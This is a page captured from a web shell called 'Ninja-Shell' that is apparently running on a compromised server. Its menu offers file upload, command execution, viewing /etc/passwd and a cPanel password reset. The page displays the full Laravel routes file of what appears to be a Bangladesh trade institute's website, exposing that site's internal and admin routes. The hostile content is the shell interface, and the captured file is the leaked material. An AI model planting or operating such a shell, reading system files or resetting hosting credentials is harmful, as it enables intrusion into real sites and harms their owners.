{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var//www///bfti-website/routes/web.php
<?php use App\Models\TradeData; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Route; use App\Http\Controllers\Admin\BlogController; use App\Http\Controllers\Admin\HomeController; use App\Http\Controllers\Admin\PageController; use App\Http\Controllers\Admin\PostController; use App\Http\Controllers\Admin\EventController; use App\Http\Controllers\Admin\CareerController; use App\Http\Controllers\Admin\GalleryController; use App\Http\Controllers\Admin\MessageController; use App\Http\Controllers\Admin\OurTeamController; use App\Http\Controllers\Admin\ProfileController; use App\Http\Controllers\Admin\AcademicController; use App\Http\Controllers\Admin\ResearchController; use App\Http\Controllers\Admin\TrainingController; use App\Http\Controllers\Admin\OurClientController; use App\Http\Controllers\Admin\TradeDataController; use App\Http\Controllers\Frontend\SearchController; use App\Http\Controllers\Admin\InnovativeController; use App\Http\Controllers\Admin\NewsletterController; use App\Http\Controllers\Admin\UsefulLinkController; use App\Http\Controllers\Admin\PartnershipController; use App\Http\Controllers\Admin\PublicationController; use App\Http\Controllers\Frontend\FrontendController; use App\Http\Controllers\Admin\PolicyAdvocacyController; use App\Http\Controllers\Frontend\FormHandlerController; use App\Http\Controllers\Admin\BoardOfDirectorController; use App\Http\Controllers\Admin\BusinessSettingController; use App\Http\Controllers\Admin\NoticeScrollController; /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Auth::routes(['register' => false]); Route::middleware('maintenance')->name('frontend.')->group(function () { Route::get('/', [FrontendController::class, 'index'])->name('home'); Route::get('/research', [FrontendController::class, 'research'])->name('research'); Route::get('/research-details/{id}', [FrontendController::class, 'researchDetails'])->name('research.details'); Route::get('/research-category/{category}', [FrontendController::class, 'researchCategory'])->name('research.category'); Route::get('/training', [FrontendController::class, 'training'])->name('training'); Route::get('/training-details/{id}', [FrontendController::class, 'trainingDetails'])->name('training.details'); Route::get('/training-category/{category}', [FrontendController::class, 'trainingCategory'])->name('training.category'); Route::get('/policy-advocacy', [FrontendController::class, 'policyAdvocacy'])->name('policyAdvocacy'); Route::get('/policy-advocacy-details/{id}', [FrontendController::class, 'policyAdvocacyDetails'])->name('policyAdvocacy.details'); Route::get('/publication', [FrontendController::class, 'publication'])->name('publication'); Route::get('/publication-details/{id}', [FrontendController::class, 'publicationDetails'])->name('publication.details'); Route::get('/academic', [FrontendController::class, 'academic'])->name('academic'); Route::get('/academic-details/{id}', [FrontendController::class, 'academicDetails'])->name('academic.details'); Route::get('/blog', [FrontendController::class, 'blog'])->name('blog'); Route::get('blog/writer', [FrontendController::class, 'blogWriter'])->name('blog.writer'); Route::get('/blog-details/{id}', [FrontendController::class, 'blogDetails'])->name('blog.details'); Route::get('/academic-category/{category}', [FrontendController::class, 'academicCategory'])->name('academic.category'); // Route::get('/innovative', [FrontendController::class, 'innovative'])->name('innovative'); // Route::get('/innovative-details/{id}', [FrontendController::class, 'innovativeDetails'])->name('innovative.details'); Route::get('/news', [FrontendController::class, 'news'])->name('news'); Route::get('/bfti-flagship-activities', [FrontendController::class, 'flagship'])->name('flagship'); Route::get('/news-details/{id}', [FrontendController::class, 'newsDetails'])->name('news.details'); Route::get('/partnership', [FrontendController::class, 'partnership'])->name('partnership'); Route::get('/contact', [FrontendController::class, 'contact'])->name('contact'); Route::get('/useful-links', [FrontendController::class, 'usefulLinks'])->name('usefulLinks'); Route::get('/trade-data', [FrontendController::class, 'tradeData'])->name('tradeData'); Route::get('/about-us', [FrontendController::class, 'aboutUs'])->name('about-us'); Route::get('/our-facilities', [FrontendController::class, 'ourFacilities'])->name('our_facilities'); Route::get('/our-services', [FrontendController::class, 'ourServices'])->name('our_services'); Route::get('/our-success-and-achievements', [FrontendController::class, 'ourSuccess_and_achievements'])->name('our_success_and_achievements'); Route::get('/history', [FrontendController::class, 'history'])->name('history'); Route::get('/mission', [FrontendController::class, 'mission'])->name('mission'); Route::get('/vision', [FrontendController::class, 'vision'])->name('vision'); Route::get('/connect-with-bfti', [FrontendController::class, 'connectWithBfti'])->name('connectWithBfti'); Route::get('/who-are-we', [FrontendController::class, 'whoAreWe'])->name('whoAreWe'); Route::get('/privacy-policy', [FrontendController::class, 'privacyPolicy'])->name('privacyPolicy'); Route::get('/wto-reference-centre', [FrontendController::class, 'WTO_reference_centre'])->name('WTO_reference_centre'); Route::get('/government-of-bangladesh', [FrontendController::class, 'GovernmentOfBangladesh'])->name('GovernmentOfBangladesh'); Route::get('/bangladesh-business-associations', [FrontendController::class, 'bangladeshBusinessAssociations'])->name('bangladeshBusinessAssociations'); Route::get('/events', [FrontendController::class, 'events'])->name('events'); Route::get('/events-details/{id}', [FrontendController::class, 'eventsDetails'])->name('events.details'); Route::get('/career', [FrontendController::class, 'career'])->name('career'); Route::get('/career-details/{id}', [FrontendController::class, 'careerDetails'])->name('career.details'); Route::get('/our-team', [FrontendController::class, 'ourTeam'])->name('ourTeam'); Route::get('/board-of-directors', [FrontendController::class, 'boardOfDirectors'])->name('boardOfDirectors'); Route::get('/image-gallery', [FrontendController::class, 'imageGallery'])->name('imageGallery'); Route::get('/video-gallery', [FrontendController::class, 'videoGallery'])->name('videoGallery'); Route::get('/message-from-chairman', [FrontendController::class, 'messageFromChairman'])->name('messageFromChairman'); Route::get('/message-from-ceo', [FrontendController::class, 'messageFromCeo'])->name('messageFromCeo'); Route::post('/newsletter', [FormHandlerController::class, 'newsletter'])->name('newsletter'); Route::post('/contact-message', [FormHandlerController::class, 'contactMessage'])->name('contactMessage'); Route::post('/training-register', [FormHandlerController::class, 'trainingRegister'])->name('trainingRegister'); Route::post('/career-application', [FormHandlerController::class, 'careerApplication'])->name('careerApplication'); Route::get('/search', [SearchController::class, 'search'])->name('search'); }); // backend route start Route::middleware('auth')->name('admin.')->prefix('admin')->group(function () { Route::get('/profile/edit', [ProfileController::class, 'index'])->name('profile.edit'); Route::post('/profile/update', [ProfileController::class, 'update'])->name('profile.update'); Route::post('/profile/update-info', [ProfileController::class, 'updateInfo'])->name('profile.update-info'); Route::resource('settings', BusinessSettingController::class)->only('index', 'store'); Route::get('storagelink', [BusinessSettingController::class, 'storagelink'])->name('storagelink'); Route::post('smtp', [BusinessSettingController::class, 'smtp'])->name('settings.smtp'); Route::post('storeApi', [BusinessSettingController::class, 'storeApi'])->name('settings.storeApi'); Route::resource('pages', PageController::class)->only('index', 'edit', 'update'); Route::resource('board-of-directors', BoardOfDirectorController::class)->except('show'); Route::resource('our-team', OurTeamController::class)->except('show'); Route::resource('message', MessageController::class)->except('show'); Route::resource('research', ResearchController::class)->except('show'); Route::post('research/status/{id}', [ResearchController::class, 'status'])->name('research.status'); Route::resource('training', TrainingController::class)->except('show'); Route::post('training/status/{id}', [TrainingController::class, 'status'])->name('training.status'); Route::get('/training-register', [TrainingController::class, 'trainingRegister'])->name('trainingRegister'); Route::get('/training-register/delete/{id}', [TrainingController::class, 'trainingRegisterDelete'])->name('trainingRegisterDelete'); Route::resource('partnership', PartnershipController::class)->except('show'); Route::post('partnership/status/{id}', [PartnershipController::class, 'status'])->name('partnership.status'); Route::resource('academic', AcademicController::class)->except('show'); Route::post('academic/status/{id}', [AcademicController::class, 'status'])->name('academic.status'); // Route::resource('innovative', InnovativeController::class)->except('show'); // Route::post('innovative/status/{id}', [InnovativeController::class, 'status'])->name('innovative.status'); Route::resource('event', EventController::class)->except('show'); Route::post('event/status/{id}', [EventController::class, 'status'])->name('event.status'); Route::resource('career', CareerController::class)->except('show'); Route::get('/career-application', [CareerController::class, 'careerApplication'])->name('careerApplication'); Route::get('/career-application/delete/{id}', [CareerController::class, 'careerApplicationDelete'])->name('careerApplicationDelete'); Route::resource('gallery', GalleryController::class)->except('show'); Route::post('gallery/status/{id}', [GalleryController::class, 'status'])->name('gallery.status'); Route::resource('policy_advocacies', PolicyAdvocacyController::class)->except('show'); Route::post('policyAdvocacy/status/{id}', [PolicyAdvocacyController::class, 'status'])->name('policyAdvocacy.status'); Route::resource('publication', PublicationController::class)->except('show'); Route::post('publication/status/{id}', [PublicationController::class, 'status'])->name('publication.status'); Route::resource('useful-link', UsefulLinkController::class)->except('show'); Route::resource('trade-data', TradeDataController::class)->except('show'); Route::resource('our-client', OurClientController::class)->except('show'); Route::resource('post', PostController::class)->except('show'); Route::post('post/status/{id}', [PostController::class, 'status'])->name('post.status'); Route::resource('blog', BlogController::class)->except('show'); Route::post('blog/status/{id}', [BlogController::class, 'status'])->name('blog.status'); Route::post('blog/send', [BlogController::class, 'send'])->name('blog.send'); Route::get('subscribers', [NewsletterController::class, 'index'])->name('subscribers.index'); Route::post('subscribers-mail', [NewsletterController::class, 'sendMail'])->name('subscribers.mail'); Route::get('/', [HomeController::class, 'root'])->name('home'); Route::get('/contact-message', [HomeController::class, 'contactMessage'])->name('contactMessage'); Route::get('/contact-message/{id}', [HomeController::class, 'contactMessageDetail'])->name('contactMessageDetail'); // Route::get('{any}', [HomeController::class, 'index']); //Language Translation Route::get('index/{locale}', [HomeController::class, 'lang']); Route::resource('notice-scroll', NoticeScrollController::class)->except('show'); });
./Ninja\.